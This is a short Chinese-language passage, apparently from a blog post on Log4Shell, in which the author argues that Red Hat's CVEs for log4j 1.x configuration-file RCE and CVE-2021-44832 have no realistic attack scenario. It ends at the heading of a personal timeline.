由于这两个漏洞完全是 Red-Hat 作妖才分配的 CVE 编号。
又由于 Red-Hat 给 log4j 1.x 定了一个 CVE 编号才导致有人通过类似的方式在 log4j2 2.17 以后又刷了一个 CVE-2021-44832 出来。
并且实际上 log4j 1.x 的配置文件 RCE 并不能立刻生效,因为修改 log4j 1.x 的配置文件还需要重新加载后才可以生效,在生产环境中基本是不太可能出现这样的利用场景的,可以说这两个漏洞基本上都不具备实际的攻击场景,并且也没有什么技术含量。
可以参考:
# 聊聊配置文件 RCE 这件事https://paper.seebug.org/1802/
所以这里个人而言并不觉得需要分析这两个漏洞,这只能说是程序的特性,并不能说是漏洞。
用一张图可以形容这两个漏洞:
时间线
下面是个人视角对 log4shell 这个漏洞感知上的一个时间线:
